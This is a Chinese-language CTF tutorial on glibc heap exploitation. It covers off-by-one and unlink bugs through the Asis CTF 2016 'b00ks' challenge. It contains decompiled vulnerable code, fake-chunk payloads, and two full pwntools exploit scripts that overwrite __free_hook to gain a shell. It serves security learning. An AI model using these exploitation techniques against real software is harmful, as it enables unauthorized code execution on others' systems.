pwn堆入门系列教程1
字数 1702 2025-08-03 16:49:47
Pwn堆入门系列教程1:Off-by-one与Unlink漏洞详解
环境搭建
搭建Pwn环境是学习堆漏洞利用的第一步。建议使用Ubuntu系统,并安装以下工具:
- gdb + peda/pwndbg/gef调试插件
- pwntools Python库
- glibc源码(便于理解堆管理机制)
- 相关调试符号
Off-by-one漏洞原理
基本概念
Off-by-one是指单字节缓冲区溢出漏洞,通常由以下原因导致:
- 循环语句写入数据时循环次数设置错误
- 字符串操作不当
- 写入的size正好多一个字节
利用思路
根据溢出字节的可控性分为两种情况:
-
溢出字节为可控制任意字节:
- 通过修改size造成块结构重叠
- 泄露其他块数据或覆盖其他块数据
- 可使用NULL字节溢出方法
-
溢出字节为NULL字节:
- 当size为0x100时,NULL字节溢出会清prev_in_use位
- 前块会被认为是free块,可利用unlink方法处理
- 可伪造prev_size造成块重叠
示例代码
#include <stdio.h>
#include <malloc.h>
int main() {
char str[5]={0};
str[5] = '\0'; // 典型的off-by-one错误
return 0;
}
Asis CTF 2016 b00ks题目分析
题目结构
书本结构体定义:
struct book {
int id;
char *name;
char *description;
int size;
};
Off-by-one漏洞位置
漏洞出现在以下函数中:
signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2) {
int i;
_BYTE *buf;
if (a2 <= 0) return 0LL;
buf = a1;
for (i = 0; ; ++i) {
if (read(0, buf, 1uLL) != 1) return 1LL;
if (*buf == 10) break;
++buf;
if (i == a2) break;
}
*buf = 0; // 危险部分,多写了一个0到末尾
return 0LL;
}
Off-by-one攻击过程
-
填充满author区域
- 使用32个'a'字符填充author区域
-
创建堆块1
- 创建大小为48的book1
- 创建较大的堆块2(0x21000大小)
-
泄露堆块1地址
- 通过输出author信息泄露堆块1地址
-
伪造book结构体
- 编辑堆块1内容,构造伪造的book结构体
- 关键payload:
'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff)
-
利用off-by-one覆盖
- 再次修改author名称,覆盖堆块1地址的最后一位为\x00
-
任意地址读写
- 通过伪造的结构体获得任意读写能力
- 读取libc地址
- 修改__free_hook为one_gadget地址
关键EXP代码解析
def exp():
# 填充author
io.sendlineafter(": ", "author".rjust(0x20,'a'))
# 创建堆块
create(48, '1a', 240, '1b') #1
create(0x21000, '2a', 0x21000, '2b') #2
# 泄露堆地址
book_id_1, book_name, book_des, book_author = printbook(1)
first_heap = u64(book_author[32:32+6].ljust(8,'\x00'))
# 伪造结构体
payload = 'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff)
edit(1, payload)
author_name("author".rjust(0x20,'a'))
# 泄露libc地址
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,'\x00'))
book2_des_addr = u64(book_des.ljust(8, '\x00'))
libc_base = book2_des_addr - 0x5a8010 # 通过vmmap获取的固定偏移
# 获取one_gadget
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4526a # 使用one_gadget工具找到的偏移
# 任意地址写
payload = p64(free_hook)
edit(1, payload)
edit(2, p64(one_gadget))
remove(2) # 触发free_hook执行one_gadget
Unlink漏洞原理
基本概念
Unlink是glibc中用于从双向链表中移除一个chunk的操作,其基本逻辑如下:
void unlink(malloc_chunk P, malloc_chunk BK, malloc_chunk *FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
利用思路
通过伪造chunk,使得unlink操作时:
- 伪造FD和BK指针
- 绕过安全检查
- 最终实现将*ptr改写为ptr-0x18的效果
Unlink攻击过程
-
泄露堆地址
- 同样利用off-by-one漏洞泄露堆地址
-
创建和释放堆块
- 创建多个堆块后释放特定堆块,使堆布局符合要求
-
伪造chunk
- 构造伪造的chunk头和fd/bk指针
- 关键payload:
p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100)
-
触发unlink
- 通过释放相邻chunk触发unlink操作
-
任意地址读写
- 利用unlink后的效果修改指针
- 泄露libc地址
- 修改__free_hook为system地址
关键EXP代码解析
def exp():
# 填充并泄露堆地址
io.sendlineafter(": ", "author".rjust(0x20,'a'))
create(0x20, '11111', 0x20, 'b') #1
printf()
io.recvuntil('Author: ')
io.recvuntil("author")
first_heap = u64(io.recvline().strip().ljust(8, '\x00'))
# 创建和释放堆块
create(0x20, "22222", 0x20, "desc buf") #2
create(0x20, "33333", 0x20, "desc buf") #3
remove(2)
remove(3)
# 伪造chunk
create(0x20, "33333", 0x108, 'overflow') #4
create(0x20, "44444", 0x100-0x10, 'target') #5
create(0x20, "/bin/sh\x00", 0x200, 'to arbitrary read and write') #6
heap_base = first_heap - 0x80
ptr = heap_base + 0x180
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100)
edit(4, payload)
remove(5) # 触发unlink
# 修改指针实现任意读写
payload = p64(0x30) + p64(4) + p64(first_heap+0x40)*2
edit(4, payload)
edit(4, p64(heap_base + 0x1e0))
# 泄露libc地址
printf()
for _ in range(3):
io.recvuntil('Description: ')
content = io.recvline()
libc_base = u64(content.strip().ljust(8, '\x00'))-0x3c4b78
# 获取system地址
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
# 任意地址写
payload = p64(free_hook) + p64(0x200)
edit(4, payload)
edit(6, p64(system_addr))
remove(6) # 触发system("/bin/sh")
调试技巧
-
使用gdb查找字符串:
gdb-peda$ find author -
查看内存映射:
gdb-peda$ vmmap -
计算固定偏移:
- 通过vmmap获取libc基地址
- 用泄露的地址减去基地址得到偏移
-
堆块复用观察:
- free后的小堆块在再次malloc时会复用相同的堆块
关键知识点总结
-
Off-by-one利用要点:
- 通过单字节溢出修改关键数据
- 结合堆布局实现信息泄露和任意地址读写
-
Unlink利用要点:
- 伪造chunk头和fd/bk指针
- 绕过安全检查(FD->bk == P && BK->fd == P)
- 实现指针改写效果
-
通用利用技巧:
- 通过堆布局控制内存结构
- 利用__free_hook或malloc_hook实现代码执行
- 结合信息泄露绕过ASLR
-
防护绕过:
- 针对不同glibc版本调整利用方式
- 注意不同保护机制(如NX, ASLR, RELRO等)的影响
通过本教程,你应该已经掌握了off-by-one和unlink漏洞的基本原理和利用方法。建议在实际环境中复现题目,通过调试加深理解。